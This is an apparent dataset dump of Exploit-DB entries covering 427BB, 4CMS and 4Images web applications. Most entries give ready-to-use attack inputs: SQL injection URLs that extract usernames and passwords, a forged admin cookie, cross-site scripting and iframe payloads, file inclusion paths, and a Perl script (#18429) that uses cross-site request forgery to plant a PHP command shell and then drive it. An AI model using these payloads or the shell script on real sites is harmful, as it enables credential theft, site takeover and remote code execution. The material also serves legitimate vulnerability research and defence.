deardaniel/secdata-raw huggingface dataset:
Exploit-DB #27052
Description: 427BB 2.2 - 'showthread.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-01-09
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/16169/info

427BB is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

This issue affects versions 2.2 and 2.2.1; other versions may also be vulnerable. 

http://www.example.com/bb427/showthread.php?ForumID=999%20union%20select%20UserName,Passwrod,null,null%20from%20prefPersonal
Exploit-DB #27054
Description: 427BB 2.2 - Authentication Bypass
Type: webapps
Platform: php
Date: 2006-01-09
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/16178/info

427BB is prone to an authentication bypass vulnerability. This issue is due to a failure in the application to properly validate user-supplied data.

An attacker can exploit this issue to bypass the authentication mechanism and gain access to the affected application as an administrative user. This may facilitate a compromise of the underlying system; other attacks are also possible.

This issue affects version 2.2 and 2.2.1; other versions may also be vulnerable. 

The following demonstrates cookie-data sufficient to exploit this issue:
username=admin;
authenticated=1;
usertype=admin;
Exploit-DB #5742
Description: 427bb 2.3.1 - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-06-05
Author: CWH Underground

Exploit:
============================================================
 427BB 2.3.1 (SQL/XSS) Multiple Remote Vulnerabilities
============================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'

AUTHOR : CWH Underground
DATE   : 4 June 2008
SITE   : www.citec.us


#####################################################
 APPLICATION : 427BB
 VERSION     : 2.3.1
 DOWNLOAD    : http://fourtwosevenbb.sourceforge.net/
#####################################################

---SQL Injection Exploit [showpost.php]---

##############################################
Vulnerable: showpost.php

118: $sql = "SELECT ID, UserName, Post, UTime, IP, InReplyTo, ThreadID From " . $t_prefix . "Posts WHERE ID=$post_id";
119:
120: $res = mysql_query($sql);

###############################################

Exploit:

http://[target]/[path]/showpost.php?ForumID=1&post=1 union select 1,UserName,3,4,5,Password,7 FROM 427bb_personal WHERE ID=1--



---Multiple Remote XSS Exploit---

###########
XSS in URI
###########

Example:
     
http://[target]/[path]/register.php/<XSS>
http://[target]/[path]/reminder.php/<XSS>
http://[target]/[path]/search.php/<XSS>

####################
XSS with POST Method
####################

Example:

http://[target]/[path]/register.php
[-]POST variable "uname"
[-]POST variable "email"
[-]POST variable "email2"

http://[target]/[path]/reminder.php
[-]POST variable "email"

http://[target]/[path]/search.php
[-]POST variable "keywords"

##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-05]
Exploit-DB #10302
Description: 427BB 2.3.2 - SQL Injection
Type: webapps
Platform: php
Date: 2009-12-04
Author: cr4wl3r

Exploit:
   [ Discovered by cr4wl3r \ cr4wl3r[4t]linuxmail[dot]org ]

########################################################################
#Download Script      :  http://sourceforge.net/projects/fourtwosevenbb/files/
########################################################################

########################################################################
#3rr0r: ./fourtwosevenbb-2.3.2/showpost.php
#
#       <?php
#line 118: $sql = "SELECT ID, UserName, Post, UTime, IP, InReplyTo, ThreadID From " . $t_prefix . "Posts WHERE ID=$post_id";
#line 119:
#line 120: $res = mysql_query($sql);
#       ?>
########################################################################

########################################################################
#PoC  :   http://server/[path]/showpost.php?ForumID=1&post=[SQL]
#         http://server/[path]/showpost.php?ForumID=1&post=1%20union%20select%201,UserName,3,4,5,Password,7%20FROM%20427bb_personal%20WHERE%20ID=1--
########################################################################

   [ Gorontalo / 2009 ]
Exploit-DB #25178
Description: 427BB 2.x - Multiple Remote HTML Injection Vulnerabilities
Type: webapps
Platform: php
Date: 2005-03-01
Author: Hackerlounge Research Group

Exploit:
source: https://www.securityfocus.com/bid/12693/info

427BB is reportedly affected by multiple remote HTML injection vulnerabilities. These issues occur because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.

The attacker-supplied HTML and script code would be able to access properties of the site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.

These issues are reported to affect all versions of 427BB. 

http://www.example.com/profile.php?user=%3Ciframe%20src=http://www.attacker.com%20height=1%20width=1%3E%3C/iframe%3E
Exploit-DB #32889
Description: 4CMS - SQL Injection / Local File Inclusion
Type: webapps
Platform: php
Date: 2009-04-02
Author: k1ll3r_null

Exploit:
source: https://www.securityfocus.com/bid/34355/info

4CMS is prone to multiple SQL-injection vulnerabilities and a local file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting the SQL-injection issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

The attacker can exploit the local file-include issue to execute arbitrary local script code and obtain sensitive information that may aid in further attacks.

http://www.example.com/frontend/article.php?aid=-9999+union+all+select+1,2,concat(username,char(58),password),4,5,6,7,8,9,10+from+users--
http://www.example.com/frontend/articles.php?cid=-999+union+all+select+1,2,concat(username,char(58),password),4,5,6,7,8,9,10+from+users--
http://www.example.com/frontend/index.php?chlang=../../../../etc/services%00
Exploit-DB #27709
Description: 4homepages 4Images 1.7 - 'member.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-04-20
Author: Qex

Exploit:
source: https://www.securityfocus.com/bid/17625/info

4images is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Versions 1.7 and prior of 4images are vulnerable to this issue.

http://www.example.com/[PATH]/member.php?action=showprofile&user_id=[ID]
Exploit-DB #35022
Description: 4homepages 4Images 1.7.x - 'categories.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-11-29
Author: Ahmed Atif

Exploit:
source: https://www.securityfocus.com/bid/45079/info

4homepages 4images is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/4images/categories.php?cat_id=1&page=-2999+%27%29+union/
Exploit-DB #28794
Description: 4Images 1.7 - 'details.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-10-12
Author: Christian Marthen

Exploit:
source: https://www.securityfocus.com/bid/20488/info

4images is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Version 1.7.3 is vulnerable; other versions may also be affected.

www.example.com/details.php?image_id=3&mode=%22%3E%3Ciframe%20src%3Dhttp%3A%2F%2Fwww.google.de%20width%3D150%20height%3D%22150
Exploit-DB #27781
Description: 4Images 1.7.1 - 'member.php?sessionid' SQL Injection
Type: webapps
Platform: php
Date: 2006-04-29
Author: CrAzY.CrAcKeR

Exploit:
source: https://www.securityfocus.com/bid/17748/info
 
4Images is prone to multiple, unspecified SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/member.php?action=mailform&user_id=366&sessionid=[SQL]
Exploit-DB #27780
Description: 4Images 1.7.1 - 'top.php?sessionid' SQL Injection
Type: webapps
Platform: php
Date: 2006-04-29
Author: CrAzY.CrAcKeR

Exploit:
source: https://www.securityfocus.com/bid/17748/info

4Images is prone to multiple, unspecified SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/top.php?sessionid=[SQL]
Exploit-DB #10572
Description: 4Images 1.7.1 - SQL Injection
Type: webapps
Platform: php
Date: 2009-12-20
Author: Master Mind

Exploit:
# Exploit Title: 4images 1.7.1 Remote SQL Injection Vulnerability
# Date: 20-12-2009
# Author: Master Mind
# Version: 1.7.1
# CVE : [N/A]

=============================================================

~ Script Name : 4images 1.7.1
~ Language : php
~ Author : Master Mind
~ Home : www.shdowskill.com , www.vbspiders.com
=============================================================

Dork : Powered By: 4images 1.7.1

./Exploit:

first search for the admin username :
ex : http://[Target.com]/path/member.php?action=showprofile&user_id=1

now we have the admin username

now we will find the password :]
ex : http://[Target.com]/path/search.php?search_user=x%2527%20union%20select%20user_password%20from%204images_users%20where%2$

admin = admin username

Crack the MD5 Hash and Enjoy :)
admin panel path : http://[Target.com]/path/admin

-----------------------------------------------------------------------------------------------------------------------------$

Greets : The Electronic Bomb , Twi[L]ighT , R3D EYE, Doom[PS] , Mr.BoOoO , AND  ALL MEMBERS.
Exploit-DB #36644
Description: 4Images 1.7.10 - '/admin/categories.php?cat_parent_id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-01-31
Author: RandomStorm

Exploit:
source: https://www.securityfocus.com/bid/51774/info
 
4images is prone to multiple input-validation vulnerabilities including:
 
1. A cross-site scripting vulnerability.
2. An open-redirection vulnerability.
3. An SQL-injection vulnerability.
 
An attacker may leverage these issues to perform spoofing and phishing attacks, to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database and execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site.
 
4images 1.7.10 is vulnerable; other versions may also be affected. 

http://www.example.com/admin/categories.php?action=addcat&cat_parent_id=1 (XSS)
Exploit-DB #36643
Description: 4Images 1.7.10 - '/admin/categories.php?cat_parent_id' SQL Injection
Type: webapps
Platform: php
Date: 2012-01-31
Author: RandomStorm

Exploit:
source: https://www.securityfocus.com/bid/51774/info

4images is prone to multiple input-validation vulnerabilities including:

1. A cross-site scripting vulnerability.
2. An open-redirection vulnerability.
3. An SQL-injection vulnerability.

An attacker may leverage these issues to perform spoofing and phishing attacks, to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database and execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site.

4images 1.7.10 is vulnerable; other versions may also be affected. 

http://www.example.com/admin/categories.php?action=addcat&cat_parent_id=1' (SQL Injection)
Exploit-DB #36645
Description: 4Images 1.7.10 - '/admin/index.php?redirect' Arbitrary Site Redirect
Type: webapps
Platform: php
Date: 2012-01-31
Author: RandomStorm

Exploit:
source: https://www.securityfocus.com/bid/51774/info
  
4images is prone to multiple input-validation vulnerabilities including:
  
1. A cross-site scripting vulnerability.
2. An open-redirection vulnerability.
3. An SQL-injection vulnerability.
  
An attacker may leverage these issues to perform spoofing and phishing attacks, to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database and execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site.
  
4images 1.7.10 is vulnerable; other versions may also be affected. 

http://www.example.com/admin/index.php?__csrf=931086345abbb83f9a70c87dc4719248& action=login&redirect=http://google.com&loginusername=admin&loginpassword=pass
Exploit-DB #18429
Description: 4Images 1.7.6-9 - Cross-Site Request Forgery / PHP Code Injection
Type: webapps
Platform: php
Date: 2012-01-30
Author: Or4nG.M4N

Exploit:
#!/usr/bin/perl
########################################################################
# Title    : 4images 1.7.6 > 9 Csrf inject php code
# Author   : Or4nG.M4n
# Version  : 1.7.6 > 9
# Homepage : http://www.4homepages.de/
# Dork     : "Powered by 4images"
# video    : http://youtu.be/NYF_zC9hH54
# Thnks~#+----------------------------------+
#        |    xSs m4n   i-Hmx   h311c0d3    |.sp. abo.B4sil
#        |   HcJ Cyb3r ahwak20o0 sa^Dev!L   |.sp. r00ts3c
#        +----------------------------------+
#                       4images 1.7.6 > 9 Csrf inject php code
# vuln : template.php
use LWP::UserAgent;
use LWP::Simple;
system("cls");
print
"
+----------------------------------------+\n
| 4images 1.7.6 > 9 csrf inject php code |\n
|   Or4nG.M4n  : priv8te\@hotmail.com    |\n
+----------------------------------------+\n
Loading ...\n
";
sleep(3);
print "http://tragt & path #";
$h = <STDIN>;
chomp $h;
$html = '<form action="'.$h.'/admin/templates.php" name="csrf" method="post">
<input type="hidden" name="action" value="savetemplate">
<textarea name="content" cols="0" rows="0" >
<?php
$cmd = $_GET["cmd"];
print "\n__Code__\n";
@system($cmd);
print "\n__Code__\n";
?>
&lt;/textarea&gt;
<input type="hidden" name="template_file_name" value="inject.php">
<input type="hidden" name="template_folder" value="default">
<script>document.csrf.submit();</script>
</form>';
sleep(2);
print "Createing ...\n";
open(XSS , '>>csrf.htm');
print XSS $html;
close(XSS);
print "Createing Done .. \n";
sleep(2);
print "Now give csrf.htm to admin or useing iframe code\n";
sleep(1);
print "\n if you done hit any key to continue";
$continue = <>;
for($ops=0;$ops<15;$ops++)
{
print "
Command# ";
$execut =<STDIN>;
chomp($execut);
$ex = $h."/templates/default/inject.php?cmd=".$execut;
my $content = get $ex;
while($content =~ m{__Code__(.*?)__code__(.*)}g){
print "\n [+]Executing\n\n";
}
print  $content;
}
# The End
Exploit-DB #12585
Description: 4Images 1.7.7 - 'image_utils.php' Remote Command Execution
Type: webapps
Platform: php
Date: 2010-05-12
Author: Sn!pEr.S!Te Hacker

Exploit:
|| || | || 
 o_,_7 _|| . _o_7 _|| 4_|_|| o_w_,
 ( : / (_) / ( . 
+----------------------------------------------------------------------- 
-+ 
| ....... | 
| ..''xxxxxxxxxxxxxxx'... | 
| ..'xxxxxxxxxxxxxxxxxxxxxxxxxxx.. | 
| ..'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'. | 
| .'xxxxxxxxxxxxxxxxxxxxxxxxxxxx'''.......'. | 
| .'xxxxxxxxxxxxxxxxxxxxx''...... ... .. | 
| .xxxxxxxxxxxxxxxxxx'... ........ .'. | 
| 'xxxxxxxxxxxxxxx'...... '. | 
| 'xxxxxxxxxxxxxx'..'x.. .x. | 
| .xxxxxxxxxxxx'...'.. ... .' | 
| 'xxxxxxxxx'.. . .. .x. | 
| xxxxxxx'. .. x. | 
| xxxx'. .... x x. | 
| 'x'. ...'xxxxxxx'. x .x. | 
| .x'. .'xxxxxxxxxxxxxx. '' .' | 
| .xx. .'xxxxxxxxxxxxxxxx. .'xx'''. .' | 
| .xx.. 'xxxxxxxxxxxxxxxx' .'xxxxxxxxx''. | 
| .'xx'. .'xxxxxxxxxxxxxxx. ..'xxxxxxxxxxxx' | 
| .xxx'. .xxxxxxxxxxxx'. .'xxxxxxxxxxxxxx'. | 
| .xxxx'.'xxxxxxxxx'. xxx'xxxxxxxxxx'. | 
| .'xxxxxxx'.... ...xxxxxxx'. | 
| ..'xxxxx'.. ..xxxxx'.. | 
| ....'xx'.....''''... |
+-----------------------------------------------------------------------
-+

Remote Command Execution Vulnerability
========================================================================

4images <= 1.7.7 (image_utils.php) 

#[+] Author : Sn!pEr.S!Te Hacker # 
# [+] Email : sniper-site@HoTMaiL.coM # 
# [+] T34M Sn!pEr.S!Te Hacker #
# [+] 12-5-2010 # 
# [+] Script :4images # 
# [+] Download:http://www.4homepages.de/downloads/e0adbeb40435/4images1.7.7.zip
# Version: [1.7.7] #
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=
Exploit : includes/image_utils.php

http://localhost/includes/iamge_utils.php?command=[your command]

http://127.0.0.1/includes/iamge_utils.php?command=[your command]


 system($command);

line : 104 and 125 


my friend : liar - sm Hacker -baby hacker -dmar - mr.Jld - ALhal alsab -

  adil - Mr.SaTaN  - abo badr - aStoorh alqssim - Ramad Hacker- h-ex -
Exploit-DB #14712
Description: 4Images 1.7.8 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-08-23
Author: LoSt.HaCkEr

Exploit:
# Exploit Title: [4images1.7.8 Remote File Include ] 
# Date: [23-8-2010] 
# Author: LoSt.HaCkEr  /  aDaM_TRoJaN
# Software Link: [http://www.4homepages.de/4images/download.php] 
# Version: [v 1.7.8 ] 
# Tested on: [Windows XP] 
# CVE : 
#Contact: LoSt.HaCkEr[at]yahoo[dot]com /0r/  aDaM_TRoJaN@yahoo.com
 +++++++++++++++++++++++++++++++++++++++++++++++++++++
Exploit: http://target/4images1.7.8/4images/global.php?db_servertype=[SHeLL]
 +++++++++++++++++++++++++++++++++++++++++++++++++++++
A special tribute to: DannY.iRaQi - TeaM iRaQ HaCkers
Exploit-DB #35621
Description: 4Images 1.7.9 - Multiple Remote File Inclusions / SQL Injections
Type: webapps
Platform: php
Date: 2011-04-16
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/47394/info

4images is prone to multiple remote file-include vulnerabilities and an SQL-injection vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit these vulnerabilities to execute arbitrary server-side script code on an affected computer in the context of the webserver process or compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or bypass the authentication control.

4images 1.7.9 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/download.php?file_path=[Ev!l-Sh3ll]
http://www.example.com/[path]/categories.php?upload_url=[Ev!l-Sh3ll]
http://www.example.com/[path]/global.php?config=[Ev!l-Sh3ll
http://www.example.com/[path]/details.php?cat_id_sql=0+AND+2=1
Exploit-DB #17205
Description: 4Images 1.7.9 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-04-22
Author: High-Tech Bridge SA

Exploit:
================================
Vulnerability ID: HTB22950
Reference: http://www.htbridge.ch/advisory/sql_injection_in_4images.html
Product: 4images
Vendor: http://www.4homepages.de/ ( http://www.4homepages.de/ ) 
Vulnerable Version: 1.7.9
Vendor Notification: 07 April 2011 
Vulnerability Type: SQL Injection
Status: Fixed by Vendor
Risk level: Medium 
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) 

Vulnerability Details:
The vulnerability exists due to failure in the "/admin/categories.php" script to properly sanitize user-supplied input.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.
The following PoC is available:


POST /admin/categories.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 263

__csrf=53c2e96a96fcba6dc1d9626c846f665b&action=savecat&cat_name=1&cat_description=1&cat_parent_id=0&cat_order=0&auth_viewcat=SQL_CODE_HERE&auth_viewimage=0&auth_download=2&auth_upload=2&auth_directupload=9&auth_vote=0&auth_sendpostcard=0&auth_readcomment=0&auth_postcomment=2

Solution: Upgrade to the most recent version



================================
Vulnerability ID: HTB22949
Reference: http://www.htbridge.ch/advisory/multiple_path_disclousure_in_4images.html
Product: 4images
Vendor: http://www.4homepages.de/ ( http://www.4homepages.de/ ) 
Vulnerable Version: 1.7.9
Vendor Notification: 07 April 2011 
Vulnerability Type: Path disclosure
Status: Fixed by Vendor
Risk level: Low 
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) 

Vulnerability Details:
The vulnerability exists due to failure in the "includes/page_header.php" script, it's possible to generate an error that will reveal the full path of the script.
A remote user can determine the full path to the web root directory and other potentially sensitive information.
The following PoC is available:


GET /index.php?action=rateimage&id=1 HTTP/1.1
Cookie: 4images_rated[]=1


The vulnerability exists due to failure in the "global.php" script, it's possible to generate an error that will reveal the full path of the script.
The following PoC is available:


http://[host]/index.php?action[]=1

Solution: Upgrade to the most recent version